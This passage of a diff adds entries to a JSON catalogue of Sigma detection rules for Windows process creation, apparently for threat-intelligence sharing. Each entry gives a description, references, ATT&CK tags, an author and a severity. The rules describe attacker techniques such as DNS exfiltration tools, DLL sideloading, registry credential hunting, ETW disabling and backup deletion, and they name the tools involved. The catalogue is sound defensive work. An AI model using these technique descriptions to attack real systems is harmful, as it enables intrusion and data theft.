"https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cve_2021_26857_msexchange.yml" + ], + "tags": [ + "attack.t1203", + "attack.execution", + "cve.2021.26857" + ], + "creation_date": "2021/03/03", + "filename": "proc_creation_win_cve_2021_26857_msexchange.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.", + "uuid": "6f3e2987-db24-4c78-a860-b4f4095a7095", + "value": "Data Compressed - rar.exe", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", + "https://eqllib.readthedocs.io/en/latest/analytics/1ec33c93-3d0b-4a28-8014-dbdaae5c60ae.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_data_compressed_with_rar.yml" + ], + "tags": [ + "attack.collection", + "attack.t1560.001" + ], + "creation_date": "2019/10/21", + "filename": "proc_creation_win_data_compressed_with_rar.yml", + "author": "Timur Zinniatullin, E.M. Anhaus, oscd.community", + "level": "low", + "falsepositive": [ + "Highly likely if rar is a default archiver in the monitored environment." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Deletes the Windows systemstatebackup using wbadmin.exe.\nThis technique is used by numerous ransomware families.\nThis may only be successful on server platforms that have Windows Backup enabled.\n", + "uuid": "89f75308-5b1b-4390-b2d8-d6b2340efaf8", + "value": "Wbadmin Delete Systemstatebackup", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_delete_systemstatebackup.yml" + ], + "tags": [ + "attack.impact", + "attack.t1490" + ], + "creation_date": "2021/12/13", + "filename": "proc_creation_win_delete_systemstatebackup.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "HxTsr.exe is a Microsoft compressed executable file called Microsoft Outlook Communications.HxTsr.exe is part of Outlook apps, because it resides in a hidden \"WindowsApps\" subfolder of \"C:\\Program Files\". Its path includes a version number, e.g., \"C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7466.41167.0_x64__8wekyb3d8bbwe\\HxTsr.exe\". Any instances of hxtsr.exe not in this folder may be malware camouflaging itself as HxTsr.exe", + "uuid": "4e762605-34a8-406d-b72e-c1a089313320", + "value": "Detecting Fake Instances Of Hxtsr.exe", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_detecting_fake_instances_of_hxtsr.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036" + ], + "creation_date": "2020/04/17", + "filename": "proc_creation_win_detecting_fake_instances_of_hxtsr.yml", + "author": "Sreeman", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of the PhoneDeepLink parameter to potentially sideload a DLL file that doesnt exist. This non-existent DLL file is named \"ShellChromeAPI.dll\". \nAdversaries can drop their own renamed DLL and execute it via DeviceEnroller.exe using this parameter\n", + "uuid": "e173ad47-4388-4012-ae62-bd13f71c18a8", + "value": "DLL Sideloading via DeviceEnroller.exe", + "meta": { + "refs": [ + "https://mobile.twitter.com/0gtweet/status/1564131230941122561", + "https://strontic.github.io/xcyclopedia/library/DeviceEnroller.exe-24BEF0D6B0ECED36BB41831759FDE18D.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_deviceenroller_evasion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002" + ], + "creation_date": "2022/08/29", + "filename": "proc_creation_win_deviceenroller_evasion.yml", + "author": "@gott_cyber", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of the Dinject PowerShell cradle based on the specific flags", + "uuid": "d78b5d61-187d-44b6-bf02-93486a80de5a", + "value": "DInject PowerShell Cradle CommandLine Flags", + "meta": { + "refs": [ + "https://github.com/snovvcrash/DInjector", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dinjector.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1055" + ], + "creation_date": "2021/12/07", + "filename": "proc_creation_win_dinjector.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect use of DirLister.exe", + "uuid": "b4dc61f5-6cce-468e-a608-b48b469feaa2", + "value": "Launch DirLister Executable", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1083/T1083.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dirlister.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1083" + ], + "creation_date": "2022/08/20", + "filename": "proc_creation_win_dirlister.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects when attackers use \"sc.exe\" or the powershell \"Set-Service\" cmdlet to change the startup type of a service to \"disabled\"", + "uuid": "85c312b7-f44d-4a51-a024-d671c40b49fc", + "value": "Sc Or Set-Service Cmdlet Execution to Disable Services", + "meta": { + "refs": [ + "https://www.virustotal.com/gui/file/38283b775552da8981452941ea74191aa0d203edd3f61fb2dee7b0aea3514955", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_disable_service.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/08/01", + "filename": "proc_creation_win_disable_service.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Administrators settings a service to disable via script or cli for testing purposes" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may search for private key certificate files on compromised systems for insecurely stored credential", + "uuid": "213d6a77-3d55-4ce8-ba74-fcfef741974e", + "value": "Discover Private Keys", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.004/T1552.004.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_discover_private_keys.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.004" + ], + "creation_date": "2021/07/20", + "filename": "proc_creation_win_discover_private_keys.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of Microsoft Defender's CLI process (MpCmdRun.exe) from the non-default directory which may be an attempt to sideload arbitrary DLL", + "uuid": "7002aa10-b8d4-47ae-b5ba-51ab07e228b9", + "value": "DLL Sideloading by Microsoft Defender", + "meta": { + "refs": [ + "https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dll_sideload_defender.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002" + ], + "creation_date": "2022/08/01", + "filename": "proc_creation_win_dll_sideload_defender.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of VMware Xfer utility (VMwareXferlogs.exe) from the non-default directory which may be an attempt to sideload arbitrary DLL", + "uuid": "ebea773c-a8f1-42ad-a856-00cb221966e8", + "value": "DLL Sideloading by VMware Xfer Utility", + "meta": { + "refs": [ + "https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dll_sideload_vmware_xfer.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002" + ], + "creation_date": "2022/08/02", + "filename": "proc_creation_win_dll_sideload_vmware_xfer.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "The PowerShell implementation of DNSCat2 calls nslookup to craft queries. Counting nslookup processes spawned by PowerShell will show hundreds or thousands of instances if PS DNSCat2 is active locally.", + "uuid": "b11d75d6-d7c1-11ea-87d0-0242ac130003", + "value": "DNSCat2 Powershell Implementation Detection Via Process Creation", + "meta": { + "refs": [ + "https://github.com/lukebaggett/dnscat2-powershell", + "https://blu3-team.blogspot.com/2019/08/powershell-dns-c2-notes.html", + "https://ragged-lab.blogspot.com/2020/06/it-is-always-dns-powershell-edition.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dnscat2_powershell_implementation.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071", + "attack.t1071.004", + "attack.t1001.003", + "attack.t1041" + ], + "creation_date": "2020/08/08", + "filename": "proc_creation_win_dnscat2_powershell_implementation.yml", + "author": "Cian Heasley", + "level": "high", + "falsepositive": [ + "Other powershell scripts that call nslookup.exe" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects an attempt to add a potentially crafted DLL as a plug in of the DNS Service.\nDetects an attempt to leverage dnscmd.exe to enumerate the DNS zones of a domain.\nDNS zones used to host the DNS records for a particular domain\n", + "uuid": "b6457d63-d2a2-4e29-859d-4e7affc153d1", + "value": "Discovery/Execution via dnscmd.exe", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/dnscmd", + "https://docs.microsoft.com/en-us/azure/dns/dns-zones-records", + "https://lolbas-project.github.io/lolbas/Binaries/Dnscmd/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dnscmd_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.execution", + "attack.t1543.003" + ], + "creation_date": "2022/07/31", + "filename": "proc_creation_win_dnscmd_discovery.yml", + "author": "@gott_cyber", + "level": "medium", + "falsepositive": [ + "Legitimate administration use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Well-known DNS Exfiltration tools execution", + "uuid": "98a96a5a-64a0-4c42-92c5-489da3866cb0", + "value": "DNS Exfiltration and Tunneling Tools Execution", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dns_exfiltration_tools_execution.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048.001", + "attack.command_and_control", + "attack.t1071.004", + "attack.t1132.001" + ], + "creation_date": "2019/10/24", + "filename": "proc_creation_win_dns_exfiltration_tools_execution.yml", + "author": "Daniil Yugoslavskiy, oscd.community", + "level": "high", + "falsepositive": [ + "Legitimate usage of iodine or dnscat2 \u2014 DNS Exfiltration tools (unlikely)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the installation of a plugin DLL via ServerLevelPluginDll parameter in Registry, which can be used to execute code in context of the DNS server (restart required)", + "uuid": "f63b56ee-3f79-4b8a-97fb-5c48007e8573", + "value": "DNS ServerLevelPluginDll Install", + "meta": { + "refs": [ + "https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dns_serverlevelplugindll.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002", + "attack.t1112" + ], + "creation_date": "2017/05/08", + "filename": "proc_creation_win_dns_serverlevelplugindll.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "dotnet.exe will execute any DLL and execute unsigned code", + "uuid": "d80d5c81-04ba-45b4-84e4-92eba40e0ad3", + "value": "Dotnet.exe Exec Dll and Execute Unsigned Code LOLBIN", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Dotnet/", + "https://twitter.com/_felamos/status/1204705548668555264", + "https://bohops.com/2019/08/19/dotnet-core-a-vector-for-awl-bypass-defense-evasion/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dotnet.yml" + ], + "tags": [ + "attack.execution", + "attack.t1218" + ], + "creation_date": "2020/10/18", + "filename": "proc_creation_win_dotnet.yml", + "author": "Beyu Denis, oscd.community", + "level": "medium", + "falsepositive": [ + "System administrator Usage" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of Dsacls to grant over permissive permissions", + "uuid": "01c42d3c-242d-4655-85b2-34f1739632f7", + "value": "Abusing Permissions Using Dsacls", + "meta": { + "refs": [ + "https://ss64.com/nt/dsacls.html", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771151(v=ws.11)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dsacls_abuse_permissions.yml" + ], + "tags": [ + "attack.execution", + "attack.t1218" + ], + "creation_date": "2022/06/20", + "filename": "proc_creation_win_dsacls_abuse_permissions.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate administrators granting over permissive permissions to users" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects possible password spraying attempts using Dsacls", + "uuid": "bac9fb54-2da7-44e9-988f-11e9a5edbc0c", + "value": "Password Spraying Attempts Using Dsacls", + "meta": { + "refs": [ + "https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/using-dsacls-to-check-ad-object-permissions#password-spraying-anyone", + "https://ss64.com/nt/dsacls.html", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771151(v=ws.11)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dsacls_password_spray.yml" + ], + "tags": [ + "attack.execution", + "attack.t1218" + ], + "creation_date": "2022/06/20", + "filename": "proc_creation_win_dsacls_password_spray.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate use of dsacls to bind to an LDAP session" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Deployment Image Servicing and Management tool. DISM is used to enumerate, install, uninstall, configure, and update features and packages in Windows images", + "uuid": "43e32da2-fdd0-4156-90de-50dfd62636f9", + "value": "Dism Remove Online Package", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md#atomic-test-26---disable-windows-defender-with-dism", + "https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dsim_remove.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/01/16", + "filename": "proc_creation_win_dsim_remove.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate script" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of the filename DumpStack.log to evade Microsoft Defender", + "uuid": "4f647cfa-b598-4e12-ad69-c68dd16caef8", + "value": "DumpStack.log Defender Evasion", + "meta": { + "refs": [ + "https://twitter.com/mrd0x/status/1479094189048713219", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dumpstack_log_evasion.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/01/06", + "filename": "proc_creation_win_dumpstack_log_evasion.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects email exfiltration via powershell cmdlets", + "uuid": "312d0384-401c-4b8b-abdf-685ffba9a332", + "value": "Email Exifiltration Via Powershell", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/", + "https://github.com/Azure/Azure-Sentinel/blob/7e6aa438e254d468feec061618a7877aa528ee9f/Hunting%20Queries/Microsoft%20365%20Defender/Ransomware/DEV-0270/Email%20data%20exfiltration%20via%20PowerShell.yaml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_email_exfil_via_powershell.yml" + ], + "tags": [ + "attack.exfiltration" + ], + "creation_date": "2022/09/09", + "filename": "proc_creation_win_email_exfil_via_powershell.yml", + "author": "Nasreddine Bencherchali (rule), Azure-Sentinel (idea)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects events that appear when a user click on a link file with a powershell command in it", + "uuid": "30e92f50-bb5a-4884-98b5-d20aa80f3d7a", + "value": "Hidden Powershell in Link File Pattern", + "meta": { + "refs": [ + "https://www.x86matthew.com/view_post?id=embed_exe_lnk", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_embed_exe_lnk.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2022/02/06", + "filename": "proc_creation_win_embed_exe_lnk.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate commands in .lnk files" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a base64 encoded FromBase64String keyword in a process command line", + "uuid": "fdb62a13-9a81-4e5c-a38f-ea93a16f6d7c", + "value": "Encoded FromBase64String", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_encoded_frombase64string.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1140", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/08/24", + "filename": "proc_creation_win_encoded_frombase64string.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a base64 encoded IEX command string in a process command line", + "uuid": "88f680b8-070e-402c-ae11-d2914f2257f1", + "value": "Encoded IEX", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_encoded_iex.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/08/23", + "filename": "proc_creation_win_encoded_iex.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects processes that query known 3rd party registry keys that holds credentials via commandline", + "uuid": "87a476dc-0079-4583-a985-dee7a20a03de", + "value": "Enumeration for 3rd Party Creds From CLI", + "meta": { + "refs": [ + "https://isc.sans.edu/diary/More+Data+Exfiltration/25698", + "https://github.com/synacktiv/Radmin3-Password-Cracker/blob/acfc87393e4b7c06353973a14a6c7126a51f36ac/regkey.txt", + "https://github.com/HyperSine/how-does-MobaXterm-encrypt-password", + "https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#inside-the-registry", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_enumeration_for_credentials_cli.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.002" + ], + "creation_date": "2022/06/20", + "filename": "proc_creation_win_enumeration_for_credentials_cli.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may search the Registry on compromised systems for insecurely stored credentials.\nThe Windows Registry stores configuration information that can be used by the system or other programs.\nAdversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services\n", + "uuid": "e0b0c2ab-3d52-46d9-8cb7-049dc775fbd1", + "value": "Enumeration for Credentials in Registry", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.002/T1552.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_enumeration_for_credentials_in_registry.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.002" + ], + "creation_date": "2021/12/20", + "filename": "proc_creation_win_enumeration_for_credentials_in_registry.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "One way Qbot steals sensitive information is by extracting browser data from Internet Explorer and Microsoft Edge by using the built-in utility esentutl.exe", + "uuid": "6a69f62d-ce75-4b57-8dce-6351eb55b362", + "value": "Esentutl Steals Browser Information", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/", + "https://redcanary.com/threat-detection-report/threats/qbot/", + "https://thedfirreport.com/2022/10/31/follina-exploit-leads-to-domain-compromise/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_esentutl_webcache.yml" + ], + "tags": [ + "attack.collection", + "attack.t1005" + ], + "creation_date": "2022/02/13", + "filename": "proc_creation_win_esentutl_webcache.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Potential adversaries stopping ETW providers recording loaded .NET assemblies.", + "uuid": "41421f44-58f9-455d-838a-c398859841d4", + "value": "COMPlus_ETWEnabled Command Line Arguments", + "meta": { + "refs": [ + "https://twitter.com/_xpn_/status/1268712093928378368", + "https://social.msdn.microsoft.com/Forums/vstudio/en-US/0878832e-39d7-4eaf-8e16-a729c4c40975/what-can-i-use-e13c0d23ccbc4e12931bd9cc2eee27e4-for?forum=clr", + "https://github.com/dotnet/runtime/blob/ee2355c801d892f2894b0f7b14a20e6cc50e0e54/docs/design/coreclr/jit/viewing-jit-dumps.md#setting-configuration-variables", + "https://github.com/dotnet/runtime/blob/f62e93416a1799aecc6b0947adad55a0d9870732/src/coreclr/src/inc/clrconfigvalues.h#L35-L38", + "https://github.com/dotnet/runtime/blob/7abe42dc1123722ed385218268bb9fe04556e3d3/src/coreclr/src/inc/clrconfig.h#L33-L39", + "https://github.com/dotnet/runtime/search?p=1&q=COMPlus_&unscoped_q=COMPlus_", + "https://bunnyinside.com/?term=f71e8cb9c76a", + "http://managed670.rssing.com/chan-5590147/all_p1.html", + "https://github.com/dotnet/runtime/blob/4f9ae42d861fcb4be2fcd5d3d55d5f227d30e723/docs/coding-guidelines/clr-jit-coding-conventions.md#1412-disabling-code", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_etw_modification_cmdline.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562" + ], + "creation_date": "2020/05/02", + "filename": "proc_creation_win_etw_modification_cmdline.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a command that clears or disables any ETW trace log which could indicate a logging evasion.", + "uuid": "a238b5d0-ce2d-4414-a676-7a531b3d13d6", + "value": "Disable of ETW Trace", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil", + "https://abuse.io/lockergoga.txt", + "https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_etw_trace_evasion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070", + "attack.t1562.006", + "car.2016-04-002" + ], + "creation_date": "2019/03/22", + "filename": "proc_creation_win_etw_trace_evasion.yml", + "author": "@neu5ron, Florian Roth, Jonhnathan Ribeiro, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.", + "uuid": "a197e378-d31b-41c0-9635-cfdf1c1bb423", + "value": "WinRM Access with Evil-WinRM", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.006/T1021.006.md#atomic-test-3---winrm-access-with-evil-winrm", + "https://github.com/Hackplayers/evil-winrm", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_evil_winrm.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.006" + ], + "creation_date": "2022/01/07", + "filename": "proc_creation_win_evil_winrm.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution via MSSQL xp_cmdshell stored procedure. Malicious users may attempt to elevate their privileges by using xp_cmdshell, which is disabled by default.", + "uuid": "344482e4-a477-436c-aa70-7536d18a48c7", + "value": "Execution via MSSQL Xp_cmdshell Stored Procedure", + "meta": { + "refs": [ + "https://www.elastic.co/guide/en/security/current/execution-via-mssql-xp_cmdshell-stored-procedure.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_execution_mssql_xp_cmdshell_stored_procedure.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2022/09/28", + "filename": "proc_creation_win_execution_mssql_xp_cmdshell_stored_procedure.yml", + "author": "Tim Rauch", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Execution of well known tools for data exfiltration and tunneling", + "uuid": "c75309a3-59f8-4a8d-9c2c-4c927ad50555", + "value": "Exfiltration and Tunneling Tools Execution", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exfiltration_and_tunneling_tools_execution.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.command_and_control", + "attack.t1041", + "attack.t1572", + "attack.t1071.001" + ], + "creation_date": "2019/10/24", + "filename": "proc_creation_win_exfiltration_and_tunneling_tools_execution.yml", + "author": "Daniil Yugoslavskiy, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate Administrator using tools" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of various cli utility related to web request exfiltrating data", + "uuid": "7d1aaf3d-4304-425c-b7c3-162055e0b3ab", + "value": "Possible Exfiltration Of Data Via CLI", + "meta": { + "refs": [ + "https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exfil_data_via_cli.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2022/08/02", + "filename": "proc_creation_win_exfil_data_via_cli.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries can use the inbuilt expand utility to decompress cab files as seen in recent Iranian MeteorExpress attack", + "uuid": "9f107a84-532c-41af-b005-8d12a607639f", + "value": "Cabinet File Expansion", + "meta": { + "refs": [ + "https://labs.sentinelone.com/meteorexpress-mysterious-wiper-paralyzes-iranian-trains-with-epic-troll", + "https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_expand_cabinet_files.yml" + ], + "tags": [ + "attack.execution", + "attack.t1218" + ], + "creation_date": "2021/07/30", + "filename": "proc_creation_win_expand_cabinet_files.yml", + "author": "Bhabesh Raj", + "level": "medium", + "falsepositive": [ + "System administrator Usage" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Winword starting uncommon sub process MicroScMgmt.exe as used in exploits for CVE-2015-1641", + "uuid": "7993792c-5ce2-4475-a3db-a3a5539827ef", + "value": "Exploit for CVE-2015-1641", + "meta": { + "refs": [ + "https://www.virustotal.com/en/file/5567408950b744c4e846ba8ae726883cb15268a539f3bb21758a466e47021ae8/analysis/", + "https://www.hybrid-analysis.com/sample/5567408950b744c4e846ba8ae726883cb15268a539f3bb21758a466e47021ae8?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2015_1641.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.005" + ], + "creation_date": "2018/02/22", + "filename": "proc_creation_win_exploit_cve_2015_1641.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + 